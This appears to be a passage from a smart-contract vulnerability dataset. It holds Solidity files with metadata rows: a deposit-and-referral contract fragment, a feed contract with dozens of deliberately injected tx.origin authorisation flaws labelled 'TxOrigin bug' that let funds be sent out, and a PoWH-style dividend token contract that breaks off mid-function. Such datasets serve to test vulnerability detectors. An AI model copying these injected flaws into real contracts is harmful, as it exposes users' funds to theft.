uint insuranceAmount = claimAmount * INSURANCE_PERCENT / PERCENTS_DIVIDER;
payable(INSURANCE_CONTRACT).transfer(insuranceAmount);
emit InsuranseFeePaid(insuranceAmount);
//reinvest
uint reinvestAmount = claimAmount * REINVEST_PERCENT / PERCENTS_DIVIDER;
_createDeposit(msg.sender, 0, reinvestAmount, true);
emit Reinvested(reinvestAmount);
claimAmount -= insuranceAmount;
claimAmount -= reinvestAmount;
//withdraw to user wallet
user.totalClaimed += claimAmount;
TOTAL_CLAIMED += claimAmount;
payable(msg.sender).transfer(claimAmount);
emit Claimed(msg.sender, claimAmount);
_insuranceTrigger();
}
function _canClaim(address _user) internal view returns(bool) {
return (block.timestamp-USERS[_user].checkpoint >= WITHDRAW_COOLDOWN);
}
function _insuranceTrigger() internal {
uint balance = address(this).balance;
uint todayIdx = block.timestamp/TIME_STEP;
//new high today
if (INSURANCE_MAXBALANCE[todayIdx] < balance) {
INSURANCE_MAXBALANCE[todayIdx] = balance;
}
//high of past 7 days
uint rangeHigh;
for(uint i=0; i<7; i++) {
if(INSURANCE_MAXBALANCE[todayIdx-i] > rangeHigh) {
rangeHigh = INSURANCE_MAXBALANCE[todayIdx-i];
}
}
INSURANCE_TRIGGER_BALANCE = rangeHigh*INSURANCE_LOWBALANCE_PERCENT/PERCENTS_DIVIDER;
//low balance - initiate Insurance
if(balance < INSURANCE_TRIGGER_BALANCE) {
emit InitiateInsurance(rangeHigh, balance);
IInsuranceContract(INSURANCE_CONTRACT).initiate();
}
}
function _setUserReferrer(address _user, address _referrer) internal {
if (USERS[_user].referrer != address(0)) return; //already has a referrer
if (USERS[_referrer].deposits.length == 0) return; //referrer doesnt exist
if (_user == _referrer) return; //cant refer to yourself
//adopt
USERS[_user].referrer = _referrer;
//loop through the referrer hierarchy, increase every referral Levels counter
address upline = USERS[_user].referrer;
for (uint i=0; i < REFERRAL_PERCENTS.length; i++) {
if(upline==address(0)) break;
USERS[upline].refCount[i]++;
upline = USERS[upline].referrer;
}
emit RefInvited(_referrer,_user);
}
function _allocateReferralRewards(address _user, uint _depositAmount) internal {
//loop through the referrer hierarchy, allocate refDividends
address upline = USERS[_user].referrer;
for (uint i=0; i < REFERRAL_PERCENTS.length; i++) {
if (upline == address(0)) break;
uint amount = _depositAmount * REFERRAL_PERCENTS[i] / PERCENTS_DIVIDER;
USERS[upline].refDividends += amount;
USERS[upline].totalRefDividends += amount;
TOTAL_REFDIVIDENDS += amount;
upline = USERS[upline].referrer;
emit RefDividends(upline, _user, i, amount);
}
}
function _createDeposit(address _user, uint _planIdx, uint _amount, bool _isReinvest) internal returns(uint o_depIdx) {
TUser storage user = USERS[_user];
//first deposit: set initial checkpoint
if (user.deposits.length == 0) {
user.checkpoint = block.timestamp;
emit Newcomer(_user);
}
TDeposit memory newDep = TDeposit(_planIdx, _amount, block.timestamp, block.timestamp + PLANS[_planIdx].durationDays * TIME_STEP, _isReinvest);
//reuse a deceased slot or create new
bool found;
for(uint i=0; i<user.deposits.length; i++) {
if(_isDepositDeceased(_user,i)) {
user.deposits[i] = newDep;
o_depIdx=i;
found=true;
stat_depositsReusedCounter++;
break;
}
}
if(!found) {
o_depIdx=user.deposits.length;
user.deposits.push(newDep);
}
//if not reinvest - update global stats
if(!_isReinvest) {
user.depHistory.push(newDep);
user.totalInvested += _amount;
DEPOSIT_HISTORY[TOTAL_DEPOSITS] = THistoryDeposit(block.timestamp, PLANS[_planIdx].durationDays*TIME_STEP, _amount);
TOTAL_DEPOSITS++;
TOTAL_INVESTED += _amount;
}
//technical data
if(stat_maxDepositArrayLength < user.deposits.length) {
stat_maxDepositArrayLength = user.deposits.length;
stat_maxDepositArrayUser = _user;
}
emit NewDeposit(_user, newDep.planIdx, newDep.amount);
}
function _isDepositDeceased(address _user, uint _depIdx) internal view returns(bool) {
return (USERS[_user].checkpoint >= USERS[_user].deposits[_depIdx].timeEnd);
}
function _calculateDepositDividends(address _user, uint _depIdx) internal view returns (uint o_amount) {
TUser storage user = USERS[_user];
TDeposit storage deposit = user.deposits[_depIdx];
//calculate withdrawable dividends starting from the last Claim checkpoint
uint totalReward = deposit.amount * PLANS[deposit.planIdx].percent / PERCENTS_DIVIDER;
uint timeA = deposit.timeStart > user.checkpoint ? deposit.timeStart : user.checkpoint;
uint timeB = deposit.timeEnd < block.timestamp ? deposit.timeEnd : block.timestamp;
if (timeA < timeB) {
o_amount = totalReward * (timeB-timeA) / TIME_STEP;
}
}
function _getUserDividends(address _user) internal view returns (uint o_amount) {
for(uint i=0;i<USERS[_user].deposits.length;i++) {
if(_isDepositDeceased(_user,i)) continue;
o_amount += _calculateDepositDividends(_user,i);
}
}
function getProjectInfo() public view returns(uint o_totDeposits, uint o_totInvested, uint o_totRefDividends, uint o_totClaimed, uint o_ensBalance, uint o_ensTriggerBalance, uint o_timestamp) {
uint insuranceBalance = IInsuranceContract(INSURANCE_CONTRACT).getBalance();
return(TOTAL_DEPOSITS, TOTAL_INVESTED, TOTAL_REFDIVIDENDS, TOTAL_CLAIMED, insuranceBalance, INSURANCE_TRIGGER_BALANCE, block.timestamp);
}
function getDepositHistory() public view returns(THistoryDeposit[20] memory o_historyDeposits, uint o_timestamp) {
o_timestamp = block.timestamp;
uint _from = TOTAL_DEPOSITS>=20 ? TOTAL_DEPOSITS-20 : 0;
for(uint i=_from; i<TOTAL_DEPOSITS; i++) {
o_historyDeposits[i-_from] = DEPOSIT_HISTORY[i];
}
}
struct TPlanInfo {
uint dividends;
uint mActive;
uint rActive;
}
struct TRefInfo {
uint[5] count;
uint dividends;
uint totalEarned;
}
struct TUserInfo {
uint claimable;
uint checkpoint;
uint totalDepositCount;
uint totalInvested;
uint totalClaimed;
}
function getUserInfo1(address _user) public view returns (uint mActive, uint claimable, uint checkpoint, uint totalInvested, uint totalDepositCount, uint totalClaimed) {
TUser storage user = USERS[_user];
//active invest/reinvest deposits
uint dividends = 0;
for(uint i=0; i<user.deposits.length; i++) {
if(_isDepositDeceased(_user,i)) continue;
dividends += _calculateDepositDividends(_user,i);
if(!user.deposits[i].isReinvest){ mActive++; }
else { }
}
//user stats
claimable = dividends + user.refDividends + user.debtBuffer;
checkpoint = user.checkpoint;
totalInvested = user.totalInvested;
totalDepositCount = user.depHistory.length;
totalClaimed = user.totalClaimed;
}
function getUserInfo2(address _user) public view returns (uint ref1,uint ref2,uint ref3,uint ref4,uint ref5, uint dividends, uint totalEarned) {
TUser storage user = USERS[_user];
//referral stats
ref1 = user.refCount[0];
ref2 = user.refCount[1];
ref3 = user.refCount[2];
ref4 = user.refCount[3];
ref5 = user.refCount[4];
dividends = user.refDividends;
totalEarned = user.totalRefDividends;
}
function getUserDepositHistory(address _user, uint _numBack) public view returns(TDeposit[5] memory o_deposits, uint o_total, uint o_idxFrom, uint o_idxTo, uint o_timestamp) {
o_timestamp = block.timestamp;
o_total = USERS[_user].depHistory.length;
o_idxFrom = (o_total > _numBack*5) ? (o_total - _numBack*5) : 0;
uint _cut = (o_total < _numBack*5) ? (_numBack*5 - o_total) : 0;
o_idxTo = (o_idxFrom+5 < o_total) ? (o_idxFrom+5) - _cut : o_total;
for(uint i=o_idxFrom; i<o_idxTo; i++) {
o_deposits[i-o_idxFrom] = USERS[_user].depHistory[i];
}
}
function getUserDepositHistory2(address _user, uint _index) public view returns(uint planIdx, uint amount, uint timeStart, uint timeEnd) {
planIdx = USERS[_user].depHistory[_index].planIdx;
amount = USERS[_user].depHistory[_index].amount;
timeStart = USERS[_user].depHistory[_index].timeStart;
timeEnd = USERS[_user].depHistory[_index].timeEnd;
}
function getUserAvailable(address _user) public view returns(uint) {
if(!_canClaim(_user)) return 0;
(, uint claimable,,,,) = getUserInfo1(_user);
return claimable;
}
function getUserCheckpoint(address _user) public view returns(uint) {
return USERS[_user].checkpoint;
}
function getContractBalance() public view returns(uint) {
uint insuranceBalance = IInsuranceContract(INSURANCE_CONTRACT).getBalance();
return address(this).balance + insuranceBalance;
}
function withdraw() public {
claim();
}
//invest(address _referrer, uint8 _planIdx)
}
| 300,786 | 166 |
7bb5d15b101134e82f7c3cee9d9277e1bea3ca30311682bd870923f7cff139a1
| 14,142 |
.sol
|
Solidity
| false |
441123437
|
1052445594/SoliDetector
|
171e0750225e445c2993f04ef32ad65a82342054
|
Solidifi-bugInjection-data/TxOrigin/Sol/buggy_44.sol
| 3,245 | 13,065 |
pragma solidity ^0.5.0;
contract EventMetadata {
function sendto_txorigin13(address payable receiver, uint amount,address owner_txorigin13) public {
require (tx.origin == owner_txorigin13); //TxOrigin bug
receiver.transfer(amount);
}
event MetadataSet(bytes metadata);
// state functions
function _setMetadata(bytes memory metadata) internal {
emit MetadataSet(metadata);
}
function sendto_txorigin33(address payable receiver, uint amount,address owner_txorigin33) public {
require (tx.origin == owner_txorigin33); //TxOrigin bug
receiver.transfer(amount);
}
}
contract Operated {
function bug_txorigin36(address owner_txorigin36) public{
require(tx.origin == owner_txorigin36); //TxOrigin bug
}
address private _operator;
function transferTo_txorigin35(address to, uint amount,address owner_txorigin35) public {
require(tx.origin == owner_txorigin35); //TxOrigin bug
to.call.value(amount);
}
bool private _status;
function bug_txorigin12(address owner_txorigin12) public{
require(tx.origin == owner_txorigin12); //TxOrigin bug
}
event OperatorUpdated(address operator, bool status);
// state functions
function _setOperator(address operator) internal {
require(_operator != operator, "cannot set same operator");
_operator = operator;
emit OperatorUpdated(operator, hasActiveOperator());
}
function bug_txorigin32(address owner_txorigin32) public{
require(tx.origin == owner_txorigin32); //TxOrigin bug
}
function _transferOperator(address operator) internal {
// transferring operator-ship implies there was an operator set before this
require(_operator != address(0), "operator not set");
_setOperator(operator);
}
function transferTo_txorigin31(address to, uint amount,address owner_txorigin31) public {
require(tx.origin == owner_txorigin31); //TxOrigin bug
to.call.value(amount);
}
function _renounceOperator() internal {
require(hasActiveOperator(), "only when operator active");
_operator = address(0);
_status = false;
emit OperatorUpdated(address(0), false);
}
function withdrawAll_txorigin30(address payable _recipient,address owner_txorigin30) public {
require(tx.origin == owner_txorigin30); //TxOrigin bug
_recipient.transfer(address(this).balance);
}
function _activateOperator() internal {
require(!hasActiveOperator(), "only when operator not active");
_status = true;
emit OperatorUpdated(_operator, true);
}
function transferTo_txorigin3(address to, uint amount,address owner_txorigin3) public {
require(tx.origin == owner_txorigin3); //TxOrigin bug
to.call.value(amount);
}
function _deactivateOperator() internal {
require(hasActiveOperator(), "only when operator active");
_status = false;
emit OperatorUpdated(_operator, false);
}
function sendto_txorigin29(address payable receiver, uint amount,address owner_txorigin29) public {
require (tx.origin == owner_txorigin29); //TxOrigin bug
receiver.transfer(amount);
}
// view functions
function getOperator() public view returns (address operator) {
operator = _operator;
}
function bug_txorigin28(address owner_txorigin28) public{
require(tx.origin == owner_txorigin28); //TxOrigin bug
}
function isOperator(address caller) public view returns (bool ok) {
return (caller == getOperator());
}
function transferTo_txorigin27(address to, uint amount,address owner_txorigin27) public {
require(tx.origin == owner_txorigin27); //TxOrigin bug
to.call.value(amount);
}
function hasActiveOperator() public view returns (bool ok) {
return _status;
}
function withdrawAll_txorigin26(address payable _recipient,address owner_txorigin26) public {
require(tx.origin == owner_txorigin26); //TxOrigin bug
_recipient.transfer(address(this).balance);
}
function isActiveOperator(address caller) public view returns (bool ok) {
return (isOperator(caller) && hasActiveOperator());
}
function sendto_txorigin25(address payable receiver, uint amount,address owner_txorigin25) public {
require (tx.origin == owner_txorigin25); //TxOrigin bug
receiver.transfer(amount);
}
}
contract ProofHashes {
function transferTo_txorigin11(address to, uint amount,address owner_txorigin11) public {
require(tx.origin == owner_txorigin11); //TxOrigin bug
to.call.value(amount);
}
event HashFormatSet(uint8 hashFunction, uint8 digestSize);
function withdrawAll_txorigin10(address payable _recipient,address owner_txorigin10) public {
require(tx.origin == owner_txorigin10); //TxOrigin bug
_recipient.transfer(address(this).balance);
}
event HashSubmitted(bytes32 hash);
// state functions
function _setMultiHashFormat(uint8 hashFunction, uint8 digestSize) internal {
// emit event
emit HashFormatSet(hashFunction, digestSize);
}
function bug_txorigin24(address owner_txorigin24) public{
require(tx.origin == owner_txorigin24); //TxOrigin bug
}
function _submitHash(bytes32 hash) internal {
// emit event
emit HashSubmitted(hash);
}
function transferTo_txorigin23(address to, uint amount,address owner_txorigin23) public {
require(tx.origin == owner_txorigin23); //TxOrigin bug
to.call.value(amount);
}
}
contract MultiHashWrapper {
// bytes32 hash first to fill the first storage slot
struct MultiHash {
bytes32 hash;
uint8 hashFunction;
uint8 digestSize;
}
function _combineMultiHash(MultiHash memory multihash) internal pure returns (bytes memory) {
bytes memory out = new bytes(34);
out[0] = byte(multihash.hashFunction);
out[1] = byte(multihash.digestSize);
uint8 i;
for (i = 0; i < 32; i++) {
out[i+2] = multihash.hash[i];
}
return out;
}
function withdrawAll_txorigin22(address payable _recipient,address owner_txorigin22) public {
require(tx.origin == owner_txorigin22); //TxOrigin bug
_recipient.transfer(address(this).balance);
}
function _splitMultiHash(bytes memory source) internal pure returns (MultiHash memory) {
require(source.length == 34, "length of source must be 34");
uint8 hashFunction = uint8(source[0]);
uint8 digestSize = uint8(source[1]);
bytes32 hash;
assembly {
hash := mload(add(source, 34))
}
return (MultiHash({
hashFunction: hashFunction,
digestSize: digestSize,
hash: hash
}));
}
function sendto_txorigin21(address payable receiver, uint amount,address owner_txorigin21) public {
require (tx.origin == owner_txorigin21); //TxOrigin bug
receiver.transfer(amount);
}
}
interface iFactory {
event InstanceCreated(address indexed instance, address indexed creator, string initABI, bytes initData);
function create(bytes calldata initData) external returns (address instance);
function createSalty(bytes calldata initData, bytes32 salt) external returns (address instance);
function getInitSelector() external view returns (bytes4 initSelector);
function getInstanceRegistry() external view returns (address instanceRegistry);
function getTemplate() external view returns (address template);
function getSaltyInstance(bytes calldata, bytes32 salt) external view returns (address instance);
function getNextInstance(bytes calldata) external view returns (address instance);
function getInstanceCreator(address instance) external view returns (address creator);
function getInstanceType() external view returns (bytes4 instanceType);
function getInstanceCount() external view returns (uint256 count);
function getInstance(uint256 index) external view returns (address instance);
function getInstances() external view returns (address[] memory instances);
function getPaginatedInstances(uint256 startIndex, uint256 endIndex) external view returns (address[] memory instances);
}
contract Template {
function withdrawAll_txorigin34(address payable _recipient,address owner_txorigin34) public {
require(tx.origin == owner_txorigin34); //TxOrigin bug
_recipient.transfer(address(this).balance);
}
address private _factory;
// modifiers
modifier initializeTemplate() {
// set factory
_factory = msg.sender;
// only allow function to be delegatecalled from within a constructor.
uint32 codeSize;
assembly { codeSize := extcodesize(address) }
require(codeSize == 0, "must be called within contract constructor");
_;
}
// view functions
function getCreator() public view returns (address creator) {
// iFactory(...) would revert if _factory address is not actually a factory contract
creator = iFactory(_factory).getInstanceCreator(address(this));
}
function bug_txorigin20(address owner_txorigin20) public{
require(tx.origin == owner_txorigin20); //TxOrigin bug
}
function isCreator(address caller) public view returns (bool ok) {
ok = (caller == getCreator());
}
function withdrawAll_txorigin2(address payable _recipient,address owner_txorigin2) public {
require(tx.origin == owner_txorigin2);//TxOrigin bug
_recipient.transfer(address(this).balance);
}
function getFactory() public view returns (address factory) {
factory = _factory;
}
function transferTo_txorigin19(address to, uint amount,address owner_txorigin19) public {
require(tx.origin == owner_txorigin19); //TxOrigin bug
to.call.value(amount);
}
}
contract Feed is ProofHashes, MultiHashWrapper, Operated, EventMetadata, Template {
function sendto_txorigin1(address payable receiver, uint amount,address owner_txorigin1) public {
require (tx.origin == owner_txorigin1); //TxOrigin bug
receiver.transfer(amount);
}
event Initialized(address operator, bytes multihash, bytes metadata);
function initialize(address operator,
bytes memory multihash,
bytes memory metadata) public initializeTemplate() {
// set operator
if (operator != address(0)) {
Operated._setOperator(operator);
Operated._activateOperator();
}
// add multihash to storage
if (multihash.length != 0) {
// unpack multihash
MultiHashWrapper.MultiHash memory multihashObj = MultiHashWrapper._splitMultiHash(multihash);
// set multihash format
ProofHashes._setMultiHashFormat(multihashObj.hashFunction, multihashObj.digestSize);
// submit hash
ProofHashes._submitHash(multihashObj.hash);
}
// set metadata
if (metadata.length != 0) {
EventMetadata._setMetadata(metadata);
}
// log initialization params
emit Initialized(operator, multihash, metadata);
}
function withdrawAll_txorigin18(address payable _recipient,address owner_txorigin18) public {
require(tx.origin == owner_txorigin18); //TxOrigin bug
_recipient.transfer(address(this).balance);
}
// state functions
function submitHash(bytes32 multihash) public {
// only active operator or creator
require(Template.isCreator(msg.sender) || Operated.isActiveOperator(msg.sender), "only active operator or creator");
// add multihash to storage
ProofHashes._submitHash(multihash);
}
function sendto_txorigin17(address payable receiver, uint amount,address owner_txorigin17) public {
require (tx.origin == owner_txorigin17); //TxOrigin bug
receiver.transfer(amount);
}
function setMetadata(bytes memory metadata) public {
// only active operator or creator
require(Template.isCreator(msg.sender) || Operated.isActiveOperator(msg.sender), "only active operator or creator");
// set metadata
EventMetadata._setMetadata(metadata);
}
function bug_txorigin16(address owner_txorigin16) public{
require(tx.origin == owner_txorigin16); //TxOrigin bug
}
function transferOperator(address operator) public {
// restrict access
require(Operated.isActiveOperator(msg.sender), "only active operator");
// transfer operator
Operated._transferOperator(operator);
}
function transferTo_txorigin15(address to, uint amount,address owner_txorigin15) public {
require(tx.origin == owner_txorigin15); //TxOrigin bug
to.call.value(amount);
}
function renounceOperator() public {
// restrict access
require(Operated.isActiveOperator(msg.sender), "only active operator");
// transfer operator
Operated._renounceOperator();
}
function withdrawAll_txorigin14(address payable _recipient,address owner_txorigin14) public {
require(tx.origin == owner_txorigin14); //TxOrigin bug
_recipient.transfer(address(this).balance);
}
}
| 223,942 | 167 |
b03359105d427929d3c997707c038cf7fa0ba038865e85ae94c9380743a0dad0
| 24,494 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x9089d4b9b2e10dd574fc7af6c91c480d114e948f.sol
| 4,516 | 17,720 |
pragma solidity ^0.4.20;
contract BlitzCrypto {
// only people with tokens
modifier onlyBagholders() {
require(myTokens() > 0);
_;
}
// only people with profits
modifier onlyStronghands() {
require(myDividends(true) > 0);
_;
}
// administrators can:
// -> change the name of the contract
// -> change the name of the token
// they CANNOT:
// -> take funds
// -> disable withdrawals
// -> kill the contract
// -> change the price of tokens
modifier onlyAdministrator(){
address _customerAddress = msg.sender;
require(administrators[_customerAddress]);
_;
}
// ensures that the first tokens in the contract will be equally distributed
// meaning, no divine dump will be ever possible
// result: healthy longevity.
modifier antiEarlyWhale(uint256 _amountOfEthereum){
address _customerAddress = msg.sender;
// are we still in the vulnerable phase?
// if so, enact anti early whale protocol
if(onlyAmbassadors && ((totalEthereumBalance() - _amountOfEthereum) <= ambassadorQuota_)){
require(// is the customer in the ambassador list?
ambassadors_[_customerAddress] == true &&
// does the customer purchase exceed the max ambassador quota?
(ambassadorAccumulatedQuota_[_customerAddress] + _amountOfEthereum) <= ambassadorMaxPurchase_);
// updated the accumulated quota
ambassadorAccumulatedQuota_[_customerAddress] = SafeMath.add(ambassadorAccumulatedQuota_[_customerAddress], _amountOfEthereum);
// execute
_;
} else {
// in case the ether count drops low, the ambassador phase won't reinitiate
onlyAmbassadors = false;
_;
}
}
event onTokenPurchase(address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy);
event onTokenSell(address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned);
event onReinvestment(address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted);
event onWithdraw(address indexed customerAddress,
uint256 ethereumWithdrawn);
// ERC20
event Transfer(address indexed from,
address indexed to,
uint256 tokens);
string public name = "BlitzCrypto";
string public symbol = "BZC";
uint8 constant public decimals = 18;
uint8 constant internal dividendFee_ = 5; // Look, strong Math
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2**64;
// proof of stake (defaults at 100 tokens)
uint256 public stakingRequirement = 100e18;
// ambassador program
mapping(address => bool) internal ambassadors_;
uint256 constant internal ambassadorMaxPurchase_ = 1 ether;
uint256 constant internal ambassadorQuota_ = 20 ether;
// amount of shares for each address (scaled number)
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
mapping(address => uint256) internal ambassadorAccumulatedQuota_;
uint256 internal tokenSupply_ = 0;
uint256 internal profitPerShare_;
// administrator list (see above on what they can do)
mapping(address => bool) public administrators;
bool public onlyAmbassadors = true;
function BlitzCrypto()
public
{
// add administrators here
administrators[0xCd39c70f9DF2A0D216c3A52C5A475914485a0625] = true;
}
function buy(address _referredBy)
public
payable
returns(uint256)
{
purchaseTokens(msg.value, _referredBy);
}
function()
payable
public
{
purchaseTokens(msg.value, 0x0);
}
function reinvest()
onlyStronghands()
public
{
// fetch dividends
uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code
// pay out the dividends virtually
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// retrieve ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// dispatch a buy order with the virtualized "withdrawn dividends"
uint256 _tokens = purchaseTokens(_dividends, 0x0);
// fire event
onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit()
public
{
// get token count for caller & sell them all
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if(_tokens > 0) sell(_tokens);
// lambo delivery service
withdraw();
}
function withdraw()
onlyStronghands()
public
{
// setup data
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false); // get ref. bonus later in the code
// update dividend tracker
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// add ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// lambo delivery service
_customerAddress.transfer(_dividends);
// fire event
onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens)
onlyBagholders()
public
{
// setup data
address _customerAddress = msg.sender;
// russian hackers BTFO
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
// burn the sold tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
// update dividends tracker
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
// dividing by zero is a bad idea
if (tokenSupply_ > 0) {
// update the amount of dividends per token
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
// fire event
onTokenSell(_customerAddress, _tokens, _taxedEthereum);
}
function transfer(address _toAddress, uint256 _amountOfTokens)
onlyBagholders()
public
returns(bool)
{
// setup
address _customerAddress = msg.sender;
// make sure we have the requested tokens
// also disables transfers until ambassador phase is over
// (we dont want whale premines)
require(!onlyAmbassadors && _amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
// withdraw all outstanding dividends first
if(myDividends(true) > 0) withdraw();
// liquify 10% of the tokens that are transfered
// these are dispersed to shareholders
uint256 _tokenFee = SafeMath.div(_amountOfTokens, dividendFee_);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
// burn the fee tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
// exchange tokens
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
// update dividend trackers
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
// disperse dividends among holders
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
// fire event
Transfer(_customerAddress, _toAddress, _taxedTokens);
// ERC20
return true;
}
function disableInitialStage()
onlyAdministrator()
public
{
onlyAmbassadors = false;
}
function setAdministrator(address _identifier, bool _status)
onlyAdministrator()
public
{
administrators[_identifier] = _status;
}
function setStakingRequirement(uint256 _amountOfTokens)
onlyAdministrator()
public
{
stakingRequirement = _amountOfTokens;
}
function setName(string _name)
onlyAdministrator()
public
{
name = _name;
}
function setSymbol(string _symbol)
onlyAdministrator()
public
{
symbol = _symbol;
}
function totalEthereumBalance()
public
view
returns(uint)
{
return this.balance;
}
function totalSupply()
public
view
returns(uint256)
{
return tokenSupply_;
}
function myTokens()
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus)
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function balanceOf(address _customerAddress)
view
public
returns(uint256)
{
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress)
view
public
returns(uint256)
{
return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice()
public
view
returns(uint256)
{
// our calculation relies on the token supply, so we need supply. Doh.
if(tokenSupply_ == 0){
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
function buyPrice()
public
view
returns(uint256)
{
// our calculation relies on the token supply, so we need supply. Doh.
if(tokenSupply_ == 0){
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend)
public
view
returns(uint256)
{
uint256 _dividends = SafeMath.div(_ethereumToSpend, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell)
public
view
returns(uint256)
{
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy)
antiEarlyWhale(_incomingEthereum)
internal
returns(uint256)
{
// data setup
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(_incomingEthereum, dividendFee_);
uint256 _referralBonus = SafeMath.div(_undividedDividends, 3);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
// no point in continuing execution if OP is a poorfag russian hacker
// (or hackers)
// and yes we know that the safemath function automatically rules out the "greater then" equasion.
require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_));
// is the user referred by a masternode?
if(// is this a referred purchase?
_referredBy != 0x0000000000000000000000000000000000000000 &&
// no cheating!
_referredBy != _customerAddress &&
// does the referrer have at least X whole tokens?
// i.e is the referrer a godly chad masternode
tokenBalanceLedger_[_referredBy] >= stakingRequirement){
// wealth redistribution
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
// no ref purchase
// add the referral bonus back to the global dividends cake
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
// we can't give people infinite ethereum
if(tokenSupply_ > 0){
// add tokens to the pool
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / (tokenSupply_));
// calculate the amount of tokens the customer receives over his purchase
_fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_))));
} else {
// add tokens to the pool
tokenSupply_ = _amountOfTokens;
}
// update circulating supply & the ledger address for the customer
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
// Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them;
//really i know you think you do but you don't
int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
// fire event
onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy);
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum)
internal
view
returns(uint256)
{
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
((// underflow attempts BTFO
SafeMath.sub((sqrt
((_tokenPriceInitial**2)
+
(2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18))
+
(((tokenPriceIncremental_)**2)*(tokenSupply_**2))
+
(2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_))), _tokenPriceInitial))/(tokenPriceIncremental_))-(tokenSupply_)
;
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens)
internal
view
returns(uint256)
{
